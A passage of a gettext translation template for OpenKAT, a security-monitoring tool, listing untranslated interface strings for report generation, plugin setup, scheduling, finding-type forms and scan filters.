reports/templates/partials/report_introduction.html\nmsgid \"\"\n\"This report gives an overview of the current state of security for your \"\n\"organisation for the selected date. The summary section provides an overview \"\n\"of the selected systems (objects), plugins and reports. This is followed \"\n\"with the findings for each report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Report names:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input.html\n#: rocky/templates/partials/form/field_input_checkbox.html\n#: rocky/templates/partials/form/field_input_multiselect.html\n#: rocky/templates/partials/form/field_input_radio.html\nmsgid \"Required\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Add reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Reset\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"No reference date\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Day\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Week\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Month\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Year\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Select which objects you want to include in your report. You can either \"\n\"continue with a live set or you can select the objects manually from the \"\n\"table below.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"A live set is a set of objects based on the applied filters. Any object that \"\n\"matches this applied filter (now or in the future) will be used as input for \"\n\"the scheduled report. If your live set filter (e.g. 'hostnames' with 'L2 \"\n\"clearance' that are 'declared') shows 2 hostnames that match the filter \"\n\"today, the scheduled report will run for those 2 hostnames. If you add 3 \"\n\"more hostnames tomorrow (with the same filter criteria), your next scheduled \"\n\"report will contain 5 hostnames. Your live set will update as you go.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Based on the current dataset, your selected filters result in the following \"\n\"objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"objects selected\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Deselect all objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, python-format\nmsgid \"Select all %(total_oois)s object\"\nmsgid_plural \"Select all %(total_oois)s objects\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object name\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Report(s) may be empty due to no objects in the selected filters.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Reports matching the selected filters will be empty at this moment in time. \"\n\"Future reports may contain data. It is still possible to generate the \"\n\"(potentially empty) report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Continue with live set\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Continue with selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Configuration\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Set up the required plugins for this report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"KAT will be able to generate a full report when all the required and \"\n\"suggested boefjes are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"If you choose not to enable a plugin, the data that plugin would collect or \"\n\"produce will be left out of the report which will then be generated based on \"\n\"the available data collected by the enabled plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"Some plugins are mandatory as they are crucial for a report type. Reports \"\n\"that don't have their requirements met will be skipped.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Warning! Before you proceed read the following points:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"OpenKAT is designed to scan all known objects on a regular basis using the \"\n\"enabled plugins and set clearance levels. This means that scans will run \"\n\"automatically. Be patient; plugins may take some time before they have \"\n\"collected all their data. Enabling them just before report generation will \"\n\"likely result in inaccurate reports, as plugins have not finished collecting \"\n\"data.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All required plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"This report type requires the following plugins to be enabled:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show enabled plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no required plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All suggested plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"The following plugins are optional to generate the report:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Hide suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show more suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no optional plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Enable selected plugins and continue\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"\"\n\"\\n\"\n\"            This overview shows the total number of findings per\\n\"\n\"            severity that have been identified for this organization.\\n\"\n\"        \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total per severity overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Critical\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"High\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Medium\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Low\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Pending\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Unknown\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Used Config Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Choose report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"\"\n\"Various types of reports, such as DNS reports and TLS reports, are essential \"\n\"for identifying vulnerabilities in different aspects of a system's security. \"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses, while TLS reports assess the security of data encryption and \"\n\"transmission protocols, helping organizations pinpoint areas where security \"\n\"improvements are needed.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"Selected object (%(total_oois)s)\"\nmsgid_plural \"Selected objects (%(total_oois)s)\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"\"\n\"You have selected a live set in the previous step. Based on the current \"\n\"dataset, this live set results in %(total_oois)s objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Applied filters:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"You have selected %(total_oois)s object in the previous step.\"\nmsgid_plural \"You have selected %(total_oois)s objects in the previous step.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Change selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Available report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"All report types that are available for your selection.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Toggle all report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/return_button.html\n#, python-format\nmsgid \"%(btn_text)s\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"Delete the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"Deleted reports are removed in the view from the moment of deletion. The \"\n\"report can still be accessed on timestamps before the deletion. Only the \"\n\"report is removed from the view, not the data it is based on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"It is still possible to generate a new report for same date. If the report \"\n\"is part of a combined report, it will remain available in the combined \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Reference date\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Disable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to disable the schedule for <strong>%(report_name)s</\"\n\"strong>? The recipe will still exist and the schedule can be enabled later \"\n\"on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Rename the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rename\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"Rerun the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"\"\n\"By submitting you're generating the selected reports again, using the \"\n\"current data.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rerun\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"Reports history\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"\"\n\"On this page you can see all the reports that have been generated in the \"\n\"past. To create a new report, click the 'Generate Report' button.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows parent report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Close asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Open asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Asset reports details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, python-format\nmsgid \"\"\n\"This report consists of %(counter)s asset report with the following report \"\n\"type and object:\"\nmsgid_plural \"\"\n\"This report consists of %(counter)s asset reports with the following report \"\n\"types and objects:\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/views/report_overview.py\nmsgid \"Asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows asset report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"View all asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"No reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_header.html\n#: reports/views/base.py rocky/templates/header.html\n#: rocky/templates/tasks/partials/tab_navigation.html\n#: rocky/templates/tasks/reports.html rocky/views/tasks.py\nmsgid \"Reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_header.html\nmsgid \"An overview of reports that are scheduled or have been generated.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Scheduled\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"Scheduled reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"\"\n\"On this page you can see all the reports that are or have been scheduled. To \"\n\"schedule a report, select a start date and recurrence while generating a \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s schedules\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled for\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Schedule status\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Once\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recent reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Show report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"objects\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"No scheduled reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"Back to Reports History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"An overview of all underlying reports of\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Shows report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Input Object\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"Delete report recipe\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete report recipe \\\"%(name)s\\\"?\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"\"\n\"Deleting this report recipe means it will be permanently deleted. It will \"\n\"not be possible anymore to see or enable the schedule. You will find \"\n\"previously generated reports in the report history tab.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The objects listed in the table below were used to generate this report. For \"\n\"each object in the table it additionally shows the clearance level and \"\n\"whether or not the object was added by a user ('Declared') or indirectly \"\n\"identified through another service or system ('Inherited').\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No objects found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The table below shows which reports were chosen to generate this report, \"\n\"including a report description.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No report types found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"The table below shows all required or optional plugins for the selected \"\n\"reports.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Required and optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin enabled\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin options\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin scan level\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Enabled.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"required\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"optional\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin extra info\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"There are no required or optional plugins needed for the selected report \"\n\"types.\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select objects\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select report types\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Export setup\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"Save report\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"You do not have the required permissions to enable plugins.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one OOI to proceed.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one report type to proceed.\"\nmsgstr \"\"\n\n#: reports/views/mixins.py\nmsgid \"\"\n\"No data could be found for %(report_types). Object(s) did not exist on \"\n\"%(date)s.\"\nmsgstr \"\"\n\n#: reports/views/multi_report.py\nmsgid \"View report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Not enough permissions\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe '{}' deleted successfully\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe not found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"No schedule or recipe selected\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule disabled successfully. '{}' will not be generated automatically \"\n\"until the schedule is enabled again.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule enabled successfully. '{}' will be generated according to schedule.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"An unexpected error occurred, please check logs for more info.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Other OOI type selected than Report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Deletion successful.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Multi organization reports cannot be rescheduled. It consists of imported \"\n\"data from different organizations and is not based on newly generated data.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Rerun successful. It may take a moment before the new report has been \"\n\"generated.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\n#, python-format\nmsgid \"\"\n\"Couldn't rerun %s, since the recipe for this report has been disabled or \"\n\"deleted.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Renaming failed. Empty report name found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report names and reports does not match.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Reports successfully renamed.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report {} could not be renamed.\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"1: Select objects\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"2: Choose report types\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Configuration\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"4: Export setup\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Export setup\"\nmsgstr \"\"\n\n#: tools/forms/base.py\nmsgid \"Date\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"For example: -sTU --top-ports 1000\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"JSON Schema\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Input object type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Output mime types\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Scan type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval amount\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Specify the scanning interval for this Boefje. The default is 24 hours. For \"\n\"example: 5 minutes will let the Boefje scan every 5 minutes.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval frequency\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Object creation/change\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Choose weather the Boefje should run after creating and/or changing an \"\n\"object. \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"KAT-ID\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Unique ID within OpenKAT, for this type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Give the finding type a fitting title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the finding type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Risk\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"How can this be solved?\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe how this type of finding can be solved\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"References\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give some references on the solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give sources and references on the suggested solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Impact description\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the solutions impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution chance\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution effort\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"ID should start with \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Finding type already exists\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Click to select one of the available options\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Proof\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Provide evidence of your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Reproduce finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please explain how to reproduce your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Date/Time (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Doc! I'm from the future, I'm here to take you back!\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"OOI doesn't exist\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted and non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by severity\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py tools/forms/ooi_form.py tools/forms/scheduler.py\nmsgid \"Search\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Object ID contains (case sensitive)\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Filter types\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Clearance Level\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Next scan\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show objects that don't meet the Boefjes scan level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show Boefjes that exceed the objects clearance level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"\"\n\"All the boefjes with a scan level below or equal to the clearance level will \"\n\"be allowed to scan this object.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Expires by (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"option\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Optionally choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Please choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance level\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance type\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"From\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"To\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Cancelled\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Completed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Dispatched\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Failed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Queued\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Running\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"Search by object name\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"The selected date is in the future. Please select a different date.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"--- Show all ----\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"recommendation\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"low\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"medium\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"very high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"critical\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"quickfix\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Declared\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Inherited\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Empty\"\nmsgstr 